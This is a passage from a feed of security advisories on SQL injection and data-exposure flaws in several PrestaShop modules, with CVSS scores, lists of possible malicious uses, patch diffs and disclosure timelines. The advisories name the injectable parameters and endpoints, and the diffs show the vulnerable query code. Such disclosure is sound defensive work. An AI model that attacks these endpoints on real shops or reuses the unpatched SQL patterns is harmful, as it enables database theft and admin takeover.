<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-12</td>
      <td>Vulnerabity discovered during an audit by <a href="https://www.touchweb.fr/">Touch Web</a> and <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-02-23</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-02-23</td>
      <td>Response of the author that a new module replace the impacted module</td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Inform the author that a CVE ID is requested</td>
    </tr>
    <tr>
      <td>2023-03-17</td>
      <td>Propose a delay of 90 days before disclosing the CVE</td>
    </tr>
    <tr>
      <td>2023-03-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-07-17</td>
      <td>Publication of this CVE</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/VivaPayments/API/">GitHub addons product page</a></li>
  <li><a href="https://developer.vivawallet.com/plugins/">Viva Wallet developper page</a></li>
  <li><a href="https://addons.prestashop.com/fr/paiement/89363-viva-wallet-smart-checkout.html">Viva Wallet latest updated module</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26861">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The deprecated module “vivawallet” (name of the directory) edited by Viva Wallet prior to 1.7.9 for PrestaShop has several SQL injections.]]></summary></entry><entry><title type="html">[CVE-2023-27845] Improper neutralization of a SQL parameter in KerAwen Omnichannel Stocks module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/07/06/kerawen_ocs.html" rel="alternate" type="text/html" title="[CVE-2023-27845] Improper neutralization of a SQL parameter in KerAwen Omnichannel Stocks module for PrestaShop" /><published>2023-07-06T00:00:00+00:00</published><updated>2023-07-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/07/06/kerawen_ocs</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/07/06/kerawen_ocs.html"><![CDATA[<p>In the module “KerAwen Omnichannel Stocks” (kerawen_ocs) for PrestaShop, an anonymous user can perform SQL injection before 1.4.1. Release 1.4.1 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27845">CVE-2023-27845</a></li>
  <li><strong>Published at</strong>: 2023-07-06</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: kerawen_ocs</li>
  <li><strong>Impacted release</strong>: &lt; 1.4.1</li>
  <li><strong>Product author</strong>: KerAwen</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 1.3.7.1, multiple sensitive SQL calls in class <code class="language-plaintext highlighter-rouge">KerawenHelper::setCartOperationInfo()</code> and  <code class="language-plaintext highlighter-rouge">KerawenHelper::resetCheckoutSessionData()</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted “ocs_id_cart” or “ocs_checkout_session_data” variable.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<p>Sample of patch. We recommend to upgrade this module to fix all sensitive SQL calls.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/kerawen_ocs/classes/KerawenHelper.php
</span><span class="gi">+++ b/modules/kerawen_ocs/classes/KerawenHelper.php
</span><span class="p">@@ -3622,23 +3622,23 @@</span> class KerawenHelper
     public static function setCartOperationInfo($id_cart, $data)
     {
         $current_date_time = date('Y-m-d H:i:s');
<span class="gd">-        $temp_sql = 'SELECT * FROM `' . _DB_PREFIX_ . self::$_TABLE_NAME_CART_OPERATION_INFO . '` WHERE  id_cart = '.pSQL($id_cart);
</span><span class="gi">+        $temp_sql = 'SELECT * FROM `' . _DB_PREFIX_ . self::$_TABLE_NAME_CART_OPERATION_INFO . '` WHERE  id_cart = '. (int) $id_cart;
</span>         $temp_result = Db::getInstance()-&gt;executeS($temp_sql);
         if (!empty($temp_result) &amp;&amp; count($temp_result) &gt;0) {
             // update
             $upd_sql = 'UPDATE `' . _DB_PREFIX_ . self::$_TABLE_NAME_CART_OPERATION_INFO . '` SET `data`= "' . pSQL($data) . '" ,`date_update`="' . pSQL($current_date_time) . '"
<span class="gd">-                WHERE id_cart =' . pSQL($id_cart) . ';';
</span><span class="gi">+                WHERE id_cart =' .  (int) $id_cart . ';';
</span>             Db::getInstance()-&gt;execute($upd_sql);
         } else {
             // insert
<span class="gd">-            $insert_sql_debug = 'INSERT INTO `' . _DB_PREFIX_ . self::$_TABLE_NAME_CART_OPERATION_INFO . '` ( `id_cart`, `data`, `date_add`, `date_update`) VALUES  ( '.pSQL($id_cart).', "' . pSQL($data) . '","' . pSQL($current_date_time) . '","' . pSQL($current_date_time) . '");';
</span><span class="gi">+            $insert_sql_debug = 'INSERT INTO `' . _DB_PREFIX_ . self::$_TABLE_NAME_CART_OPERATION_INFO . '` ( `id_cart`, `data`, `date_add`, `date_update`) VALUES  ( '. (int) $id_cart.', "' . pSQL($data) . '","' . pSQL($current_date_time) . '","' . pSQL($current_date_time) . '");';
</span>             Db::getInstance()-&gt;execute($insert_sql_debug);
         }
     }
 
     public static function getCartOperationInfo($id_cart)
     {
<span class="gd">-        $temp_sql = 'SELECT * FROM `' . _DB_PREFIX_ . self::$_TABLE_NAME_CART_OPERATION_INFO . '` WHERE  id_cart = '.pSQL($id_cart);
</span><span class="gi">+        $temp_sql = 'SELECT * FROM `' . _DB_PREFIX_ . self::$_TABLE_NAME_CART_OPERATION_INFO . '` WHERE  id_cart = '. (int) $id_cart;
</span>         $temp_result = Db::getInstance()-&gt;executeS($temp_sql);
         if (!empty($temp_result) &amp;&amp; count($temp_result) &gt;0) {
             return $temp_result[0]['data'];
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-11-23</td>
      <td>Vunlnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2022-11-23</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-02</td>
      <td>Fix published by the author</td>
    </tr>
    <tr>
      <td>2023-03-07</td>
      <td>New vunerability found</td>
    </tr>
    <tr>
      <td>2023-05</td>
      <td>Fix published by the author</td>
    </tr>
    <tr>
      <td>2023-07-06</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://kerawen.com/logiciel-de-caisse/">Product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27845">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “KerAwen Omnichannel Stocks” (kerawen_ocs) for PrestaShop, an anonymous user can perform SQL injection before 1.4.1. Release 1.4.1 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-33664] Improper neutralization of a SQL parameter in aicombinationsonfly module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/06/28/aicombinationsonfly.html" rel="alternate" type="text/html" title="[CVE-2023-33664] Improper neutralization of a SQL parameter in aicombinationsonfly module for PrestaShop" /><published>2023-06-28T00:00:00+00:00</published><updated>2023-06-28T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/06/28/aicombinationsonfly</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/06/28/aicombinationsonfly.html"><![CDATA[<p>In the module “Combinations generated on fly for your store” (aicombinationsonfly) for PrestaShop, an attacker can perform SQL injection before 0.3.1. Release 0.3.1 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33664">CVE-2023-33664</a></li>
  <li><strong>Published at</strong>: 2023-06-28</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: aicombinationsonfly</li>
  <li><strong>Impacted release</strong>: &lt; 0.3.1 (0.3.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: ai-dev</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 0.3.0, a sensitive SQL call in <code class="language-plaintext highlighter-rouge">includes/ajax.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted <code class="language-plaintext highlighter-rouge">attributes</code> variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/aicombinationsonfly/includes/ajax.php
</span><span class="gi">+++ b/modules/aicombinationsonfly/includes/ajax.php
</span><span class="p">@@ -50,7 +50,7 @@</span> switch (Tools::getValue('action')) {
             die();
         }
     
<span class="gd">-        $attributes = array_map('intval', explode(',', Tools::getValue('attributes')));
</span><span class="gi">+        $attributes = explode(',', Tools::getValue('attributes'));
</span>         if ($combination_id = AiCombinationsOnFlyFunctions::createCombination((int)Tools::getValue('product'), $attributes, 0, 1, Tools::getValue('module'), $shop_id)) {
             /* Get data */
             $data = Db::getInstance()-&gt;getRow(

--- a/modules/aicombinationsonfly/includes/functions.php
<span class="gi">+++ b/modules/aicombinationsonfly/includes/functions.php
</span>    public static function createCombination($product_id, $values, $default_on = 0, $aicof_value = 0, $module = '', $shop_id = 0)
    {
<span class="gi">+       $values = array_map('intval', $values);
</span>        //  If module is defined, change values if needed
        $combination_values = array();
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-08</td>
      <td>Vunlnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-05-10</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>The author confirm the issue and supply a fixed release</td>
    </tr>
    <tr>
      <td>2023-03-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-06-28</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.boutique.ai-dev.fr/en/ergonomie/61-combinations-on-fly.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33664">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Combinations generated on fly for your store” (aicombinationsonfly) for PrestaShop, an attacker can perform SQL injection before 0.3.1. Release 0.3.1 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-30195] Exposure of Private Personal Information to an Unauthorized Actor in Linea Grafica - Detailed Order module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/06/22/lgdetailedorder.html" rel="alternate" type="text/html" title="[CVE-2023-30195] Exposure of Private Personal Information to an Unauthorized Actor in Linea Grafica - Detailed Order module for PrestaShop" /><published>2023-06-22T00:00:00+00:00</published><updated>2023-06-22T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/06/22/lgdetailedorder</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/06/22/lgdetailedorder.html"><![CDATA[<p>In the module “Detailed Order” (lgdetailedorder) from Linea Grafica for PrestaShop, a guest can download personal information without restriction formatted in json.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30195">CVE-2023-30195</a></li>
  <li><strong>Published at</strong>: 2023-06-22</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: lgdetailedorder</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.20 [considered to be “truly” fixed on 1.1.21 - see note below]</li>
  <li><strong>Product author</strong>: Línea Gráfica</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can access all customers dataset including personal information (postal address, email, phone), orders and products bought.</p>

<p>Note : The author has deleted from its module the file that have been suffering from this leak for months, BUT did not set it to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules thinking they are safe. However, there is nothing safe about this since past upgrades do not auto-delete the implicated file. To ensure everyone has a “safe version”, we decided to mark all versions up to 1.1.20 as impacted by this issue.</p>

<p><strong>WARNING</strong> : Given that this is a serious data leak that could potentially engage the legal responsibility of third parties AND that it will absolutely bypass all application firewalls, we are obliged to provide no other information other than: update the module, delete the module, or restrict its access to a whitelist. Thank you for your understanding.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module or update it</li>
  <li>You should restrict access to this URI pattern : modules/lgdetailedorder/ to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-03-25</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-01</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-24</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>PrestaShop Addons confirms versions scopes</td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>Author provide a patch which auto-delete files from old versions</td>
    </tr>
    <tr>
      <td>2023-06-22</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/order-management/18065-fast-access-to-order-details-quick-view-overview.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30195">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Detailed Order” (lgdetailedorder) from Linea Grafica for PrestaShop, a guest can download personal information without restriction formatted in json.]]></summary></entry><entry><title type="html">[CVE-2023-30151] Improper neutralization of SQL parameters in the Boxtal (envoimoinscher) module from Boxtal for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/06/20/envoimoinscher.html" rel="alternate" type="text/html" title="[CVE-2023-30151] Improper neutralization of SQL parameters in the Boxtal (envoimoinscher) module from Boxtal for PrestaShop" /><published>2023-06-20T00:00:00+00:00</published><updated>2023-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/06/20/envoimoinscher</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/06/20/envoimoinscher.html"><![CDATA[<p>In the Boxtal (envoimoinscher) module from Boxtal for PrestaShop, after version 3.1.10, a SQL injection vulnerability allows remote attackers to execute arbitrary SQL commands via the <code class="language-plaintext highlighter-rouge">key</code> parameter in the <code class="language-plaintext highlighter-rouge">ajax.php</code> front controller.</p>

<p><strong>DANGER : It is strongly recommended to remove the module and migrate to Boxtal Connect</strong></p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30151">CVE-2023-30151</a></li>
  <li><strong>Published at</strong>: 2023-06-20</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: envoimoinscher</li>
  <li><strong>Impacted release</strong>: &gt; 3.1.10,&lt;= 3.3.8 (latest version, not fixed, deprecated module to remove or to replace by Boxtal Connect)</li>
  <li><strong>Product author</strong>: Boxtal</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>An HTTP request can be manipulated using the GET parameter <code class="language-plaintext highlighter-rouge">key</code> in the <code class="language-plaintext highlighter-rouge">/envoimoinscher/controllers/front/ajax.php</code> front controller, with <code class="language-plaintext highlighter-rouge">push</code> option, enabling a remote attacker to perform an anonymous SQL injection attack.</p>

<p>The issue is present in the latest version of the module. As of the date of publication of this advisory, Boxtal has announced they will not be releasing a new version to fix the issue. However, a patch is available for version 3.3.8 if requested from Boxtal.</p>

<p>Also, since the module is no longer maintained, <strong>it is strongly recommended to remove it and migrate to Boxtal Connect</strong>. In fact, the module has been deprecated since April 2019 and has been replaced with <a href="https://addons.prestashop.com/en/shipping-carriers/1755-boxtal-connect-turnkey-shipping-solution.html">Boxtal Connect</a></p>

<p>Note that the vulnerability was not detected in version 3.1.10. However, Boxtal wasn’t able to confirm the exact version from which the vulnerability started.</p>

<p>This exploit uses a PrestaShop front controller, and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs</strong>. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<p>Note that the module is no longer maintained, therefore, this patch might not be sufficient to fix all known security vulnerabilities in this module.
<strong>It’s strongly advised to remove the module and migrate to Boxtal Connect.</strong></p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/includes/EnvoimoinscherModel.php
</span><span class="gi">+++ b/includes/EnvoimoinscherModel.php
</span><span class="p">@@ -2756,3 +2756,3 @@</span> class EnvoimoinscherModel
                 JOIN ' . _DB_PREFIX_ . 'orders o ON o.id_order = eo.' . _DB_PREFIX_ . 'orders_id_order
<span class="gd">-                WHERE eo.' . _DB_PREFIX_ . 'orders_id_order = ' . $order . ' AND eo.tracking_eor = "' . $key . '" '
</span><span class="gi">+                WHERE eo.' . _DB_PREFIX_ . 'orders_id_order = ' . (int)$order . ' AND eo.tracking_eor = "' . pSQL($key) . '" '
</span>         ) &gt; 0;
     public function orderWithTimeoutError($order)
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Completely remove the module since it is no longer maintained, or migrate to the new “Boxtal Connect” module (link available below)</li>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-20</td>
      <td>Discovery of the vulnerability by Profileo in version 3.3.7</td>
    </tr>
    <tr>
      <td>2022-09-20</td>
      <td>Contacting the editor (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-17</td>
      <td>Contacting the editor</td>
    </tr>
    <tr>
      <td>2023-03-20</td>
      <td>The editor confirmed the vulnerability. No update will be released.</td>
    </tr>
    <tr>
      <td>2023-03-22</td>
      <td>Auditing version 3.3.8 (latest version), confirming the vulnerability</td>
    </tr>
    <tr>
      <td>2023-04-02</td>
      <td>Requesting a CVE ID</td>
    </tr>
    <tr>
      <td>2023-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://help.boxtal.com/hc/fr/articles/360001342977-J-ai-besoin-du-module-PrestaShop-ancienne-version-Boxtal-Envoimoinscher-pour-mon-site">Download page of vulnerable module</a></li>
  <li><a href="https://resource.boxtal.com/ecommerce/legacy/prestashop/emc_prestashop1.6-3.3.8.zip">Archive of version 3.3.8</a></li>
  <li><a href="https://addons.prestashop.com/en/shipping-carriers/1755-boxtal-connect-turnkey-shipping-solution.html">New Boxtal Connect module</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30151">National Vulnerability Database CVE-2023-30151</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[In the Boxtal (envoimoinscher) module from Boxtal for PrestaShop, after version 3.1.10, a SQL injection vulnerability allows remote attackers to execute arbitrary SQL commands via the key parameter in the ajax.php front controller.]]></summary></entry><entry><title type="html">[CVE-2023-31672] Improper neutralization of an SQL parameter in ailinear module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/06/15/ailinear.html" rel="alternate" type="text/html" title="[CVE-2023-31672] Improper neutralization of an SQL parameter in ailinear module for PrestaShop" /><published>2023-06-15T00:00:00+00:00</published><updated>2023-06-15T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/06/15/ailinear</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/06/15/ailinear.html"><![CDATA[<p>In the module “Length, weight or volume sell” (ailinear) for PrestaShop, an attacker can perform SQL injection up to 2.4.3. Release 2.4.3 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31672">CVE-2023-31672</a></li>
  <li><strong>Published at</strong>: 2023-06-15</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ailinear</li>
  <li><strong>Impacted release</strong>: &lt; 2.4.3 (2.4.3 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: ai-dev</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

